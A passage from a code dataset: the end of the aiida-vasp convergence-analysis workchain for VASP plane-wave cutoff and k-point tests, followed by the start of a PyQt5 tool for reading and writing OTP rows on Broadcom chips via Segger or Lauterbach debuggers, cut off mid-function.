compress):\n pwcutoff, kgrid = self._analyze_conv()\n self.ctx.converge.pwcutoff_recommended = pwcutoff\n self.ctx.converge.kgrid_recommended = kgrid\n self._set_pwcutoff_and_kgrid(pwcutoff, kgrid)\n\n # Check if any we have None entries for pwcutoff or kgrid, which means something failed,\n # or that we where not able to reach the requested converge.\n if settings.pwcutoff is None:\n settings.pwcutoff = self.ctx.converge.pw_data_org[-1][0]\n self.report(\n 'We were not able to obtain a convergence of the plane wave cutoff '\n 'to the specified cutoff. This could also be caused by failures of '\n 'the calculations producing results for the convergence tests. Setting '\n 'the plane wave cutoff to the highest specified value: {pwcutoff} eV'.format(\n pwcutoff=settings.pwcutoff\n )\n )\n if not settings.supplied_kmesh and self.ctx.converge.settings.kgrid is None:\n self.report(\n 'We were not able to obtain a convergence of the k-point grid '\n 'to the specified cutoff. This could also be caused by failures of '\n 'the calculations producing results for the convergence tests. Setting '\n 'the k-point grid sampling to the highest specified value: {kgrid}'.format(\n kgrid=self.ctx.converge.k_data_org[-1][0:3]\n )\n )\n settings.kgrid = self.ctx.converge.k_data_org[-1][0:3]\n\n def _analyze_conv(self):\n \"\"\"\n Analyze convergence using no displacements or compression.\n\n Note that, in the case of no displacements or compressions, the\n converged plane wave cutoff is already stored.\n \"\"\"\n\n settings = self.ctx.converge.settings\n cutoff_type = self.ctx.inputs.parameters.converge.cutoff_type\n cutoff_value = self.ctx.inputs.parameters.converge.cutoff_value\n\n # Already stored\n pwcutoff = settings.pwcutoff\n # Also notice that the data resides in k_data_org in order to open for\n # relative comparisons in a flexible manner\n k_data = self.ctx.converge.k_data_org\n if self._verbose:\n self.report('No atomic displacements or compressions were performed. The convergence test suggests:')\n if settings.pwcutoff_org is None:\n if self._verbose:\n self.report(f'plane wave cutoff: {pwcutoff} eV.')\n else:\n if self._verbose:\n self.report('plane wave cutoff: User supplied.')\n\n if not settings.supplied_kmesh:\n kgrid = self._check_kpoints_converged(k_data, cutoff_type, cutoff_value)\n if self._verbose:\n if kgrid is not None:\n self.report(f'k-point grid: {kgrid[0]}x{kgrid[1]}x{kgrid[2]}')\n else:\n self.report('k-point grid: Failed')\n else:\n kgrid = None\n if self._verbose:\n self.report('k-point grid: User supplied')\n\n if self._verbose:\n self.report(f'for the convergence criteria {cutoff_type} and a cutoff of {cutoff_value}')\n\n return pwcutoff, kgrid\n\n def _analyze_conv_disp_comp(\n self, pwcutoff_displacement, pwcutoff_comp, kgrid_displacement, kgrid_comp\n ): # noqa: MC0001\n \"\"\"\n Analyze the convergence when both displacements and compression is performed.\n\n We take the maximum of the plane wave cutoff and the densest k-point grid as\n the recommended values.\n\n \"\"\"\n\n cutoff_type = self.ctx.inputs.parameters.converge.cutoff_type\n cutoff_value = self.ctx.inputs.parameters.converge.cutoff_value_r\n # return the highest plane wave cutoff and densest grid (L2 norm)\n # of the two\n pwcutoff = max(pwcutoff_displacement, pwcutoff_comp)\n if self._verbose:\n self.report(\n 'The convergence tests, taking the highest required plane-wave and '\n 'k-point values for both the atomic displacement and compression '\n 'tests suggests:'\n )\n\n if not self.ctx.converge.settings.supplied_kmesh:\n if np.sqrt(sum(x**2 for x in kgrid_displacement)) > np.sqrt(sum(x**2 for x in kgrid_comp)):\n kgrid = kgrid_displacement\n else:\n kgrid = kgrid_comp\n\n if self.ctx.converge.settings.pwcutoff_org is None and pwcutoff_displacement is not None and pwcutoff_comp is not None:\n if self._verbose:\n self.report(f'plane wave cutoff: {pwcutoff} eV')\n elif self.ctx.converge.settings.pwcutoff_org is not None:\n if self._verbose:\n self.report('plane wave cutoff: User supplied')\n else:\n if self._verbose:\n self.report('plane wave cutoff: Failed')\n\n if not self.ctx.converge.settings.supplied_kmesh and kgrid_displacement is not None and kgrid_comp is not None:\n if self._verbose:\n self.report(f'k-point grid: {kgrid[0]}x{kgrid[1]}x{kgrid[2]}')\n elif self.ctx.converge.settings.supplied_kmesh:\n if self._verbose:\n self.report('k-point grid: User supplied.')\n else:\n if self._verbose:\n self.report('k-point grid: Failed.')\n\n if self._verbose:\n self.report(f'for the convergence criteria {cutoff_type} and a cutoff of {cutoff_value}.')\n\n return pwcutoff, kgrid\n\n def _analyze_conv_disp(self): # noqa: MC000\n \"\"\"Analyze the convergence when atomic displacements are performed.\"\"\"\n settings = self.ctx.converge.settings\n pwcutoff_org = settings.pwcutoff_org\n kgrid_org = settings.kgrid_org\n cutoff_type = self.ctx.inputs.parameters.converge.cutoff_type\n cutoff_value = self.ctx.inputs.parameters.converge.cutoff_value\n cutoff_value_r = self.ctx.inputs.parameters.converge.cutoff_value_r\n pw_data_org = self.ctx.converge.pw_data_org\n k_data_org = self.ctx.converge.k_data_org\n pw_data_displacement = self.ctx.converge.pw_data_displacement\n pwcutoff_displacement = self._check_pw_converged(pw_data_displacement, cutoff_type, cutoff_value)\n if not settings.supplied_kmesh:\n k_data_displacement = self.ctx.converge.k_data_displacement\n kgrid_displacement = self._check_kpoints_converged(k_data_displacement, cutoff_type, cutoff_value)\n else:\n kgrid_diff_displacement = None\n # Calculate diffs for the plane wave cutoff\n if pwcutoff_org is None:\n pw_data = pw_data_displacement\n for index, _ in enumerate(pw_data):\n for cutoff_type in self._ALLOWED_CUTOFF_TYPES:\n critria_position = self._get_pw_data_criteria_position(cutoff_type)\n pw_data[index][critria_position] = pw_data_displacement[index][critria_position] - pw_data_org[\n index][critria_position]\n\n pwcutoff_diff_displacement = self._check_pw_converged(pw_data, cutoff_type, cutoff_value_r)\n else:\n pwcutoff_diff_displacement = pwcutoff_org\n\n # Then for the k points\n if kgrid_org is None and not settings.supplied_kmesh:\n k_data = k_data_displacement\n for index, _ in enumerate(k_data_displacement):\n for cutoff_type in self._ALLOWED_CUTOFF_TYPES:\n critria_position = self._get_k_data_criteria_position(cutoff_type)\n k_data[index][critria_position\n ] = k_data_displacement[index][critria_position] - k_data_org[index][critria_position]\n\n kgrid_diff_displacement = self._check_kpoints_converged(k_data, cutoff_type, cutoff_value_r)\n if self._verbose:\n self.report('Performed atomic displacements.')\n self.report(\n 'The convergence test using the difference between '\n 'the original and displaced dataset suggests:'\n )\n if pwcutoff_org is None and pwcutoff_diff_displacement is not None and pwcutoff_displacement is not None:\n if self._verbose:\n self.report(\n 'plane wave cutoff: {pwcutoff_diff_displacement} '\n '({pwcutoff_displacement} for the isolated displacement tests) eV'.format(\n pwcutoff_diff_displacement=pwcutoff_diff_displacement,\n pwcutoff_displacement=pwcutoff_displacement\n )\n )\n elif pwcutoff_org:\n if self._verbose:\n self.report('plane wave cutoff: User supplied')\n else:\n if self._verbose:\n self.report('plane wave cutoff: Failed')\n\n if not settings.supplied_kmesh and kgrid_diff_displacement is not None and kgrid_displacement is not None:\n if self._verbose:\n self.report(\n 'a k-point grid of {kgrid_diff_displacement0}x{kgrid_diff_displacement1}'\n 'x{kgrid_diff_displacement2} ({kgrids0}x{kgrids1}x{kgrids2} for the '\n 'isolated displacement tests)'.format(\n kgrid_diff_displacement0=kgrid_diff_displacement[0],\n kgrid_diff_displacement1=kgrid_diff_displacement[1],\n kgrid_diff_displacement2=kgrid_diff_displacement[2],\n kgrids0=kgrid_displacement[0],\n kgrids1=kgrid_displacement[1],\n kgrids2=kgrid_displacement[2]\n )\n )\n elif settings.supplied_kmesh:\n if self._verbose:\n self.report('k-point grid: User supplied')\n else:\n if self._verbose:\n self.report('k-point grid: Failed')\n\n if self._verbose:\n self.report(\n 'for the convergence criteria {cutoff_type} and a cutoff '\n 'of {cutoff_value_r} ({cutoff_value} for the isolated displacement tests).'.format(\n cutoff_type=cutoff_type, cutoff_value_r=cutoff_value_r, cutoff_value=cutoff_value\n )\n )\n\n return pwcutoff_diff_displacement, kgrid_diff_displacement\n\n def _analyze_conv_comp(self): # noqa: MC0001\n \"\"\"Analyze the relative convergence due to unit cell compression.\"\"\"\n\n settings = self.ctx.converge.settings\n pwcutoff_org = settings.pwcutoff_org\n kgrid_org = settings.kgrid_org\n cutoff_type = self.ctx.inputs.parameters.converge.cutoff_type\n cutoff_value = self.ctx.inputs.parameters.converge.cutoff_value\n cutoff_value_r = self.ctx.inputs.parameters.converge.cutoff_value_r\n pw_data_org = self.ctx.converge.pw_data_org\n k_data_org = self.ctx.converge.k_data_org\n pw_data_comp = self.ctx.converge.pw_data_comp\n pwcutoff_comp = self._check_pw_converged(pw_data_comp, cutoff_type, cutoff_value)\n if not settings.supplied_kmesh:\n k_data_comp = self.ctx.converge.k_data_comp\n kgrid_comp = self._check_kpoints_converged(k_data_comp, cutoff_type, cutoff_value)\n else:\n kgrid_diff_comp = None\n # Calculate diffs for pwcutoff\n if pwcutoff_org is None:\n pw_data = pw_data_comp\n for index, _ in enumerate(pw_data):\n for cutoff_type in self._ALLOWED_CUTOFF_TYPES:\n criteria_position = self._get_pw_data_criteria_position(cutoff_type)\n pw_data[index][criteria_position\n ] = pw_data_comp[index][criteria_position] - pw_data_org[index][criteria_position]\n\n pwcutoff_diff_comp = self._check_pw_converged(pw_data, cutoff_type, cutoff_value_r)\n else:\n pwcutoff_diff_comp = pwcutoff_org\n # Then for the k points\n if kgrid_org is None and not settings.supplied_kmesh:\n k_data = k_data_comp\n for index, _ in enumerate(k_data_comp):\n for cutoff_type in self._ALLOWED_CUTOFF_TYPES:\n criteria_position = self._get_k_data_criteria_position(cutoff_type)\n k_data[index][criteria_position\n ] = k_data_comp[index][criteria_position] - k_data_org[index][criteria_position]\n\n kgrid_diff_comp = self._check_kpoints_converged(k_data, cutoff_type, cutoff_value_r)\n if self._verbose:\n self.report('Performed compression.')\n self.report(\n 'The convergence test using the difference between the '\n 'original and dataset with a volume change suggests:'\n )\n if pwcutoff_org is None and pwcutoff_diff_comp is not None and pwcutoff_comp is not None:\n if self._verbose:\n self.report(\n f'plane wave cutoff: {pwcutoff_diff_comp} ({pwcutoff_comp} for the isolated compression tests) eV'\n )\n elif pwcutoff_org:\n if self._verbose:\n self.report('plane wave cutoff: User supplied')\n else:\n if self._verbose:\n self.report('plane wave cutoff: Failed')\n if not settings.supplied_kmesh and kgrid_diff_comp is not None and kgrid_comp is not None:\n if self._verbose:\n self.report(\n 'k-point grid: {kgrid_diff_comp0}x{kgrid_diff_comp1}x{kgrid_diff_comp2} '\n '({kgrid_comp0}x{kgrid_comp1}x{kgrid_comp2} for the isolated '\n 'compression tests)'.format(\n kgrid_diff_comp0=kgrid_diff_comp[0],\n kgrid_diff_comp1=kgrid_diff_comp[1],\n kgrid_diff_comp2=kgrid_diff_comp[2],\n kgrid_comp0=kgrid_comp[0],\n kgrid_comp1=kgrid_comp[1],\n kgrid_comp2=kgrid_comp[2]\n )\n )\n elif settings.supplied_kmesh:\n if self._verbose:\n self.report('k-point grid: User supplied')\n else:\n if self._verbose:\n self.report('k-point grid: Failed')\n\n if self._verbose:\n self.report(\n 'for the convergence criteria {cutoff_type} and a cutoff '\n 'of {cutoff_value_r} ({cutoff_value} for the isolated compression tests).'.format(\n cutoff_type=cutoff_type, cutoff_value_r=cutoff_value_r, cutoff_value=cutoff_value\n )\n )\n\n return pwcutoff_diff_comp, kgrid_diff_comp\n\n def store_conv(self):\n \"\"\"Set up the convergence data and put it in a data node.\"\"\"\n pw_data_keys = [\n 'pw_data_org',\n 'pw_data',\n 'k_data_org',\n 'pw_data_displacement',\n 'pw_data_comp',\n ]\n k_data_keys = [\n 'k_data',\n 'k_data_displacement',\n 'k_data_comp',\n ]\n recommended_keys = ['pwcutoff_recommended', 'kgrid_recommended']\n data_keys = pw_data_keys + k_data_keys\n convergence_dict = {}\n for key, value in self.ctx.converge.items():\n if key in data_keys:\n # The last entry of pw_data* and k_data* is only used for checking successful runs. Then, we omit it.\n try:\n data_without_flag = [data[:-1] for data in value]\n convergence_dict[key] = data_without_flag\n except (KeyError, TypeError):\n convergence_dict[key] = value\n elif key in recommended_keys:\n convergence_dict[key] = value\n\n self.report(convergence_dict)\n convergence_context = get_data_node('core.dict', dict=convergence_dict)\n convergence = store_conv_data(convergence_context)\n if self._verbose:\n self.report(f\"attaching the node {convergence.__class__.__name__}<{convergence.pk}> as 'converge.data'\")\n self.out('converge.data', convergence)\n\n pwcutoff_recommended = store_conv_pwcutoff(convergence_context)\n if pwcutoff_recommended:\n if self._verbose:\n self.report(\n \"attaching the node {}<{}> as '{}'\".format(\n pwcutoff_recommended.__class__.__name__, pwcutoff_recommended.pk,\n 'converge.pwcutoff_recommended'\n )\n )\n self.out('converge.pwcutoff_recommended', pwcutoff_recommended)\n\n kpoints_recommended = store_conv_kgrid(convergence_context)\n if kpoints_recommended:\n if self._verbose:\n self.report(\n \"attaching the node {}<{}> as '{}'\".format(\n kpoints_recommended.__class__.__name__, kpoints_recommended.pk, 'converge.kpoints_recommended'\n )\n )\n self.out('converge.kpoints_recommended', kpoints_recommended)\n\n def _check_pw_converged(self, pw_data=None, cutoff_type=None, cutoff_value=None):\n \"\"\"\n Check if plane wave cutoffs are converged to the specified value.\n\n :return pwcutoff: The converged plane wave cutoff in eV\n\n \"\"\"\n\n if pw_data is None:\n pw_data = self.ctx.converge.pw_data\n if cutoff_type is None:\n cutoff_type = self.ctx.inputs.parameters.converge.cutoff_type\n if cutoff_value is None:\n cutoff_value = self.ctx.inputs.parameters.converge.cutoff_value\n\n # Make sure we do not analyze entries corresponding to failed runs\n pw_data = [elements for elements in pw_data if elements[-1]]\n # Since we are taking deltas, make sure we have at least two entries,\n # otherwise return None\n if len(pw_data) < 2:\n return None\n # Analyze which pwcutoff to use further (cutoff_type sets which parameter)\n pwcutoff_okey = False\n index = 0\n criteria_position = self._get_pw_data_criteria_position(cutoff_type)\n # Here we only check two consecutive steps, consider to at least check three,\n # and pick the first if both steps are within the criteria\n for pwcutoff in range(1, len(pw_data)):\n delta = abs(pw_data[pwcutoff][criteria_position] - pw_data[pwcutoff - 1][criteria_position])\n if delta < cutoff_value:\n pwcutoff_okey = True\n index = pwcutoff\n break\n if not pwcutoff_okey:\n # if self._verbose:\n # self.report('Could not obtain convergence for {cutoff_type} with a cutoff '\n # 'parameter of {cutoff_value}'.format(cutoff_type=cutoff_type, cutoff_value=cutoff_value))\n return None\n\n return pw_data[index][0]\n\n def _check_kpoints_converged(self, k_data=None, cutoff_type=None, cutoff_value=None):\n \"\"\"\n Check if the k-point grid are converged to the specified value.\n\n :return kgrid: The converged k-point grid sampling in each direction.\n\n \"\"\"\n\n if k_data is None:\n k_data = self.ctx.converge.k_data\n if cutoff_type is None:\n cutoff_type = self.ctx.inputs.parameters.converge.cutoff_type\n if cutoff_value is None:\n cutoff_value = self.ctx.inputs.parameters.converge.cutoff_value\n\n # Make sure we do not analyze entries corresponding to a failed run\n k_data = [elements for elements in k_data if elements[-1]]\n # Since we are taking deltas, make sure we have at least two entries,\n # otherwise return None\n if len(k_data) < 2:\n return None\n # now analyze which k-point grid to use\n k_cut_okey = False\n index = 0\n criteria_position = self._get_k_data_criteria_position(cutoff_type)\n # Here we only check two consecutive steps, consider to at least check three,\n # and pick the first if both steps are within the criteria\n for k in range(1, len(k_data)):\n delta = abs(k_data[k][criteria_position] - k_data[k - 1][criteria_position])\n if delta < cutoff_value:\n k_cut_okey = True\n index = k\n break\n if not k_cut_okey:\n # self.report('Could not find a dense enough grid to obtain a {cutoff_type} '\n # 'cutoff of {cutoff_value})'.format(cutoff_type=cutoff_type, cutoff_value=cutoff_value))\n return None\n\n return k_data[index][0:3]\n\n def verify_next_workchain(self):\n \"\"\"Verify and inherit exit status from child workchains.\"\"\"\n\n try:\n workchain = self.ctx.workchains[-1]\n # workchain = self.ctx['workchain_%d' % self.ctx.workchain_count]\n except IndexError:\n self.report(f'There is no {self._next_workchain.__name__} in the called workchain list.')\n return self.exit_codes.ERROR_NO_CALLED_WORKCHAIN # pylint: disable=no-member\n\n # workchain = self.ctx.workchains[-1]\n # Inherit exit status from last workchain (supposed to be\n # successfull)\n next_workchain_exit_status = workchain.exit_status\n next_workchain_exit_message = workchain.exit_message\n if not next_workchain_exit_status:\n self.ctx.exit_code = self.exit_codes.NO_ERROR # pylint: disable=no-member\n else:\n self.ctx.exit_code = compose_exit_code(next_workchain_exit_status, next_workchain_exit_message)\n self.report(\n 'The called {}<{}> returned a non-zero exit status. '\n 'The exit status {} is inherited'.format(\n workchain.__class__.__name__, workchain.pk, self.ctx.exit_code\n )\n )\n\n return self.ctx.exit_code\n\n def results(self):\n \"\"\"Attach the remaining output results.\"\"\"\n\n workchain = self.ctx.workchains[-1]\n # workchain = self.ctx['workchain_%d' % self.ctx.workchain_count]\n self.out_many({key: workchain.outputs[key] for key in workchain.outputs})\n\n def finalize(self):\n \"\"\"Finalize the workchain.\"\"\"\n return self.ctx.exit_code\n\n def run_conv_calcs(self):\n \"\"\"Determines if convergence calcs are to be run at all.\"\"\"\n return self.run_kpoints_conv_calcs() or self.run_pw_conv_calcs()\n\n def _displace_structure(self):\n \"\"\"Displace the input structure according to the supplied settings.\"\"\"\n\n displacement_vector = self.ctx.inputs.parameters.converge.displacement_vector.get_array('array')\n displacement_distance = self.ctx.inputs.parameters.converge.displacement_distance\n displacement_atom = self.ctx.inputs.parameters.converge.displacement_atom\n # Set displacement\n displacement = displacement_distance * displacement_vector\n\n # Displace and return new structure\n return displaced_structure(self.ctx.converge.structure, displacement, displacement_atom)\n\n def _compress_structure(self):\n \"\"\"Compress the input structure according to the supplied settings.\"\"\"\n\n volume_change = self.ctx.inputs.parameters.converge.volume_change\n # Apply compression and tension\n comp_structure = compressed_structure(self.ctx.converge.structure, volume_change)\n # Make sure we also reset the reciprocal cell\n kpoints = get_data_class('core.array.kpoints')()\n kpoints.set_kpoints_mesh([1, 1, 1])\n kpoints.set_cell_from_structure(comp_structure)\n self.ctx.converge.kpoints = kpoints\n\n return comp_structure\n\n def _get_pw_data_criteria_position(self, cutoff_type: str):\n # pw_data = [pwcutoff, ...]\n return self._ALLOWED_CUTOFF_TYPES[cutoff_type] + 1\n\n def _get_k_data_criteria_position(self, cutoff_type: str):\n # k_data = [kgrid_x, kgrid_y, kgrid_z, pwcutoff, ...]\n return self._ALLOWED_CUTOFF_TYPES[cutoff_type] + 4\n\n\ndef default_array(name, array):\n \"\"\"Used to set ArrayData for spec.input.\"\"\"\n array_cls = get_data_node('core.array')\n array_cls.set_array(name, array)\n\n return array_cls\n\n\n@calcfunction\ndef store_conv_pwcutoff(convergence_context):\n \"\"\"Store the recommended energy from the convergence.\"\"\"\n converge = convergence_context.get_dict()\n try:\n return get_data_class('core.float')(converge['pwcutoff_recommended'])\n except (KeyError, ValueError):\n return None\n\n\n@calcfunction\ndef store_conv_kgrid(convergence_context):\n \"\"\"Store the recommended kpoints from the convergence.\"\"\"\n converge = convergence_context.get_dict()\n try:\n kpoints_recommended = get_data_class('core.array.kpoints')()\n kpoints_recommended.set_kpoints_mesh(converge['kgrid_recommended'])\n return kpoints_recommended\n except (KeyError, ValueError):\n return None\n\n\n@calcfunction\ndef store_conv_data(convergence_context):\n \"\"\"Store convergence data in the array.\"\"\"\n convergence = get_data_class('core.dict')()\n converge = convergence_context.get_dict()\n # Store regular conversion data\n try:\n store_conv_data_single(convergence, 'pw_regular', converge['pw_data_org'])\n except (KeyError, TypeError):\n try:\n store_conv_data_single(convergence, 'pw_regular', converge['pw_data'])\n except (KeyError, TypeError):\n # If none of runs succeeded, store nothing\n pass\n try:\n store_conv_data_single(convergence, 'kpoints_regular', converge['k_data_org'])\n except (KeyError, TypeError):\n try:\n store_conv_data_single(convergence, 'kpoints_regular', converge['k_data'])\n except (KeyError, TypeError):\n # If none of runs succeeded, store nothing\n pass\n\n # Then possibly displacement\n try:\n store_conv_data_single(convergence, 'pw_displacement', converge['pw_data_displacement'])\n store_conv_data_single(convergence, 'kpoints_displacement', converge['k_data_displacement'])\n except (KeyError, TypeError):\n pass\n\n # And finally for compression\n try:\n store_conv_data_single(convergence, 'pw_compression', converge['pw_data_comp'])\n store_conv_data_single(convergence, 'kpoints_compression', converge['k_data_comp'])\n except (KeyError, TypeError):\n pass\n\n return convergence\n\n\ndef store_conv_data_single(array, key, data):\n \"\"\"Store a single convergence data entry in the dict.\"\"\"\n if data:\n # `data` is set as dictionary not array to store float and None in the same array.\n array.set_dict(dictionary={key: data})\n","repo_name":"aiida-vasp/aiida-vasp","sub_path":"aiida_vasp/workchains/converge.py","file_name":"converge.py","file_ext":"py","file_size_in_byte":74340,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"3"} +{"seq_id":"19838096899","text":"import sys\nsys.dont_write_bytecode = True\nimport os\nimport shutil\nimport getopt\nimport ctypes\nimport re\nimport queue as Queue\nimport time\nimport psutil\nimport subprocess\nfrom threading import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nimport flasher_api\nimport logging\nfrom otp import *\n\nFLASHER_LOG_INFO = 1\nFLASHER_LOG_DBUG = 2\nFLASHER_LOG_WRNG = 3\nFLASHER_LOG_EROR = 4\n\nFLASHER_COMMAND_EXIT = -1\nFLASHER_COMMAND_SN = 0 # Input: chip, debugger; # Output: SerialNoList\nFLASHER_COMMAND_RESET = 1 # Input: chip, debugger, SN; # Output: Progress\nFLASHER_COMMAND_ERASE = 2 # Input: chip, debugger, SN, hwId; # Output: Progress\nFLASHER_COMMAND_READ = 3 # Input: chip, debugger, SN, hwId, saveFile, startAddr, endAddr; # Output: Progress\nFLASHER_COMMAND_WRITE = 4 # Input: chip, debugger, SN, hwId, binFile; # Output: Progress\n\n# Boards\nLYNX = \"bcm8908x\"\nHYDRA = \"bcm8910x\"\nLEO = \"bcm8953x\"\nLEO_SEC = \"bcm8955x\"\nSCORPIO = \"bcm8956x\"\n\nCHIPS = [LYNX, HYDRA, LEO, LEO_SEC, SCORPIO]\n\nCHIPS_DICT = {}\nCHIPS_DICT[LYNX] = [\"Select Version\", \"a0\"]\nCHIPS_DICT[HYDRA] = [\"Select Version\"]\nCHIPS_DICT[LEO] = [\"Select Version\", \"b1\", \"c0\"]\nCHIPS_DICT[LEO_SEC] = [\"Select Version\", \"b1\", \"c0\"]\nCHIPS_DICT[SCORPIO] = [\"Select Version\", \"a0\", \"b0\"]\n\nDEBUGGER = [\"Segger\", \"Lauterbach\"]\nSTYLE = [\"motif\", \"Windows\", \"cde\", \"Plastique\", \"Cleanlooks\", \"windowsvista\"]\n\n\nENVIRONMENT_VARIABLE_T32 = \"BRCM_FLASHER_T32_PATH\"\n\nT32MARM_APP = \"t32marm.exe\"\n\ndef IsT32Open():\n processList = []\n eProcess = re.compile(\"(?<=name=').*?(?=',)\")\n for strProcess in list(str(process) for process in psutil.process_iter()):\n if eProcess.search(strProcess):\n processList.append(eProcess.search(strProcess).group())\n return T32MARM_APP in processList\n\ndef openLauterbach():\n if IsT32Open() == False:\n print(\"opening TRACE32 PowerView...\")\n if sys.platform.startswith('win'):\n if ENVIRONMENT_VARIABLE_T32 in os.environ:\n # Start TRACE32 instance\n process = subprocess.Popen([os.environ[ENVIRONMENT_VARIABLE_T32] + '/bin/windows64/' + T32MARM_APP])\n # Wait until the TRACE32 instance is started\n time.sleep(5)\n else:\n print(\"Environment variable not found: \" + ENVIRONMENT_VARIABLE_T32)\n else:\n print(\"TRACE32 PowerView is running...\")\n\nclass FLASH_Cmd:\n def __init__(self, aCmd):\n self.request = aCmd\n def update(self, **args):\n if self.request >= FLASHER_COMMAND_SN:\n self.chip = args[\"chip\"]\n self.debugger = args[\"debugger\"]\n self.trigger = args[\"trigger\"]\n if self.request >= FLASHER_COMMAND_RESET:\n self.sn = args[\"sn\"]\n if self.request >= FLASHER_COMMAND_ERASE:\n self.hwId = args[\"hwId\"]\n if self.request == FLASHER_COMMAND_READ:\n self.saveFile = args[\"saveFile\"]\n self.startAddr = args[\"startAddr\"]\n self.endAddr = args[\"endAddr\"]\n elif self.request == FLASHER_COMMAND_WRITE:\n self.binFile = args[\"binFile\"]\n\nclass FLASH_Backend(QtCore.QThread):\n def __init__(self):\n super(FLASH_Backend, self).__init__()\n self.backendThread = Thread(None, self)\n self.cmdQueue = Queue.Queue()\n def start(self):\n self.backendThread.start()\n def processRead(self, aObj):\n pass\n\n def __call__(self):\n while 1:\n obj = self.cmdQueue.get()\n if obj.request == FLASHER_COMMAND_EXIT:\n break\n\n\nclass OTP_Window(QMainWindow):\n def __init__(self, aBackend):\n super(OTP_Window, self).__init__()\n self.imagesPath = \"../doc/images/\"\n self.backend = aBackend\n QApplication.setStyle(QStyleFactory.create(\"Cleanlooks\"))\n self.setGeometry(500, 100, 600, 700)\n self.setWindowTitle(\"JLINK FLASHER\")\n self.setWindowIcon(QtGui.QIcon(self.imagesPath + \"brcm.png\"))\n self.debugger = 0\n self.menu()\n self.view()\n\n\n def menu(self):\n self.statusBar()\n mainMenu = self.menuBar()\n fileMenu = mainMenu.addMenu(\"&File\")\n\n fileNewAction = QAction(\"&New File\", self)\n fileNewAction.setShortcut(\"Ctrl+N\")\n fileNewAction.setStatusTip(\"Open new file\")\n\n fileOpenAction = QAction(\"&Open File\", self)\n fileOpenAction.setShortcut(\"Ctrl+O\")\n fileOpenAction.setStatusTip(\"Open file\")\n\n fileQuitAction = QAction(\"&Quit\", self)\n fileQuitAction.setShortcut(\"Ctrl+Q\")\n fileQuitAction.setStatusTip(\"Leave the App\")\n\n fileMenu.addAction(fileNewAction)\n fileMenu.addAction(fileOpenAction)\n fileMenu.addAction(fileQuitAction)\n\n editMenu = mainMenu.addMenu(\"&Edit\")\n viewMenu = mainMenu.addMenu(\"&View\")\n helpMenu = mainMenu.addMenu(\"&Help\")\n\n\n\n def view(self):\n\n xValue = 40\n yValue = 0\n\n #========== Selected Debugger ===============\n titleLabel = QtWidgets.QLabel(\"Debugger: \",self)\n yValue += 80\n titleLabel.move(xValue, yValue)\n titleLabel.resize(140, 20)\n\n self.rb1 = QtWidgets.QRadioButton(DEBUGGER[0], self)\n self.rb1.move(xValue + 100, yValue)\n self.rb1.resize(self.rb1.minimumSizeHint())\n self.rb1.setChecked(True)\n self.rb1.toggled.connect(lambda:self.radioButtonClick(self.rb1))\n\n self.rb2 = QtWidgets.QRadioButton(DEBUGGER[1], self)\n self.rb2.move(xValue + 200, yValue)\n self.rb2.resize(self.rb2.minimumSizeHint())\n self.rb2.toggled.connect(lambda:self.radioButtonClick(self.rb2))\n\n\n #========== Drop down ===============\n\n # Chip\n self.chipCB = QtWidgets.QComboBox(self)\n self.chipCB.addItem('Select Board')\n for item in CHIPS:\n self.chipCB.addItem(item)\n yValue += 80\n self.chipCB.move(xValue, yValue)\n self.chipCB.resize(200, 40)\n self.chipCB.activated[str].connect(self.updateChip)\n\n # Version\n self.versionCB = QtWidgets.QComboBox(self)\n self.versionCB.addItem('Select Version')\n self.versionCB.move(xValue + 250, yValue)\n self.versionCB.resize(200, 40)\n self.versionCB.activated[str].connect(self.updateVersion)\n\n #========== OTP Row ===============\n titleLabel = QtWidgets.QLabel(\"OTP Row: \",self)\n yValue += 100\n titleLabel.move(xValue, yValue)\n titleLabel.resize(140, 20)\n\n self.spinBox = QtWidgets.QSpinBox(self)\n self.spinBox.setMaximum(800)\n self.spinBox.move(xValue + 100, yValue - 10)\n self.spinBox.resize(100, 42)\n self.spinBox.setValue(0)\n\n\n #========== Buttons ===============\n # Erase Button\n self.readButton = QtWidgets.QPushButton(\" Read\", self)\n self.readButton.clicked.connect(self.readButtonClick)\n self.readButton.resize(200, 50)\n yValue += 70\n self.readButton.move(xValue, yValue)\n\n font = QtGui.QFont()\n font.setFamily('Courier New')\n font.setFixedPitch(True)\n font.setPointSize(12)\n font.setBold(True)\n self.readdata = QtWidgets.QLineEdit(self)\n self.readdata.move(xValue + 250, yValue)\n self.readdata.resize(200, 50)\n self.readdata.setFont(font)\n self.readdata.setEnabled(False)\n\n # Flash Button\n self.writeButton = QtWidgets.QPushButton(\" Write\", self)\n self.writeButton.clicked.connect(self.writeButtonClick)\n self.writeButton.resize(200, 50)\n yValue += 80\n self.writeButton.move(xValue, yValue)\n\n self.endAddr = QtWidgets.QLineEdit(self)\n self.endAddr.move(xValue + 250, yValue)\n self.endAddr.resize(200, 50)\n self.readdata.setFont(font)\n\n #========== Event Viewer ===============\n evLabel = QtWidgets.QLabel(\"Console\",self)\n yValue += 100\n evLabel.move(xValue, yValue)\n evLabel.resize(evLabel.minimumSizeHint())\n self.fileListWindow = QtWidgets.QListWidget(self)\n yValue += 30\n self.fileListWindow.move(xValue,yValue)\n self.fileListWindow.resize(500, 100)\n self.fileListWindow.setFont(QtGui.QFont(\"Courier\", 9))\n\n def radioButtonClick(self, aRadioButton):\n if aRadioButton.isChecked() == True:\n self.debugger = DEBUGGER.index(aRadioButton.text())\n if self.debugger == LAUTERBACH:\n openLauterbach()\n\n\n def updateChip(self, aChip):\n chip = str(aChip)\n OTP_Args.CHIP = chip\n self.versionCB.clear()\n self.versionCB.setEnabled(False)\n for each in CHIPS_DICT[chip]:\n self.versionCB.addItem(each)\n if len(CHIPS_DICT[chip]) > 1:\n self.versionCB.setEnabled(True)\n\n def updateVersion(self, aVersion):\n version = str(aVersion)\n OTP_Args.VERSION = version\n\n def readButtonClick(self):\n action = []\n rdData = []\n action.append(\"Read Button clicked\")\n\n otp_row = self.spinBox.value()\n\n debugger = OTP_Debugger(OTP_Args.CHIP, self.debugger, False, None)\n\n ret = OTP_ReadTarget(OTP_HW_ID_0, otp_row, rdData, debugger)\n if ret == 0 and len(rdData) > 0:\n result = str(hex(int(rdData[0])))\n self.readdata.setText(result)\n action.append(\"OTP_Read: \" + str(result))\n else:\n action.append(\"OTP_Init failed\")\n\n self.fileListWindow.clear()\n self.fileListWindow.addItems(action)\n debugger.close()\n\n def writeButtonClick(self):\n 